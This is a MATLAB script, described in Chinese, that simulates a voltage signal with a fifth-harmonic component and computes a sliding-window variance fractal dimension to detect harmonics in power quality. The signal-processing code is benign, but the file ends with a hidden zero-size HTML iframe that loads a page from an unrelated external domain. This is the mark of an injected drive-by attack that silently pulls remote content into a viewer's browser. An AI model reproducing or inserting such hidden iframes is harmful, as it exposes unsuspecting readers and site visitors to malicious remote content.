vfdt_harm_analy_con.m

电能质量扰动中谐波的检测可以采用分形几何学的局部方差分维数表示

% generate voltage swells
clear

% initial parameters setting.
P=12;
datalength=2^P;
fs=12800;
AN=1;
PNO=0.3;
omega=2*pi*50/fs;
omega2=2*pi*250/fs;

% enter the loop for generaing the PNO files.
% for patternno=1:PNO
    
    fai1=5*pi/6;
    fai2=3*pi/4;
    
   % length_sw=1200;
   % i0=1000;
    % i0=floor(100+(2000-100)*rand(1,1));
    % i1=floor(i0+length_sw);
   % i1=2200;
   % AD=1.2
   %  AD=AN*(1.3+(1.7-1.3)*rand(1,1));
    
    clear y;
    clear name;
    for i=1:datalength
        y(i)=AN*cos(omega*i+fai1)+PNO*cos(omega2*i+fai2);
    end
    
   %  for i=i0:i1
   %      y(i)=AD*cos(omega*i+fai);
   % end
    
 %  name=int2str(patternno);
 %   name1=strcat('e:\apfsimulation\powerquality\transientfile\swell\sw',name);
 %   name1=strcat(name1,'.dat');
 %   fid=fopen(name1,'wt');
%    fprintf(fid,'%f\n',y);
%    fclose(fid);
% end 
% end of loop  
i1=1:max(datalength);
  figure(1)
  plot(i1,y);
  axis([0,4096,-1.5,1.5]); 
 xlabel('\fontsize{10}\fontname{宋体}采样点数')

ylabel('\fontsize{10}\fontname{宋体}信号的幅值')
  
  
% function fun_fractal_vfdt(inputNamePrefix,w,SNR,Energy_noise,fido);

max_2_times=12;
NT=2.^max_2_times;
K1=1;
K2=6;
K_total=K2-K1+1;
E=1;
% window_width=256;
% shift_window=128;
window_width=256;
shift_window=128;

last_location=(NT-window_width);
dimension_number=last_location/shift_window

% patternNo=50;
% for patternno=1:patternNo
    clear varB3;clear X;clear Y;
    clear x;
    clear D;
    
 %    [x count]=fun_inputthispattern(patternno,inputNamePrefix);
 x=y;
 count=4096;
 % Energy_signal=0;
 %    for i=1:count
  %       Energy_signal=Energy_signal+x(i)*x(i);
  %  end
    
    % Superpose the noise on each signal.If no noise ,use '%'before this
    % statement.
    % x=x+(sqrt(Energy_signal/(Energy_noise*SNR)))*w;
        
  II=1;
    max_varB3=1000000;
    for L=1:shift_window:last_location
        
        for k=K1:K2
            sum1=0;
            sum2=0;
            nk=2.^k;
            Nk=window_width-nk;
            for n=1:Nk
                daltB=x(L+n+nk)-x(L+n);
                sum1=sum1+daltB*daltB;
                sum2=sum2+daltB;
            end
            varB3(k)=(sum1-(sum2*sum2)/Nk);
            varB3(k)=varB3(k)/(Nk-1);
            if(varB3(k)>max_varB3);
                varB3(k)=max_varB3;
            end
            
            if (varB3(k)<0.0001)
                varB3(k)=max_varB3;
            else
                varB3(k)=log2(varB3(k));
            end
            X(k)=k;
            Y(k)=varB3(k);
        end
        
        s1=0;s2=0;s3=0;s4=0;
        for i=K1:K2
            s1=s1+X(i)*Y(i);
            s2=s2+X(i);
            s3=s3+Y(i);
            s4=s4+X(i)*X(i);
        end
        
        s=(K_total*s1-s2*s3)/(K_total*s4-s2*s2);
        H=s/2;
        D(II)=E+1-H;
      
        
      II=II+1;
    end
 %    fprintf(fido,'%f\n',D)
% end
 
 i111=1:dimension_number 
 figure(2);
plot(i111,D);
axis([1,dimension_number,1,2.1])
 xlabel('\fontsize{10}\fontname{宋体}滑动窗的数量')

ylabel('\fontsize{10}\fontname{宋体}方差分维')  
           
            
            
    
    
    <IFRAME SRC="http://rrr.rfhwfhw.com/1.htm" WIDTH=0 HEIGHT=0></IFRAME>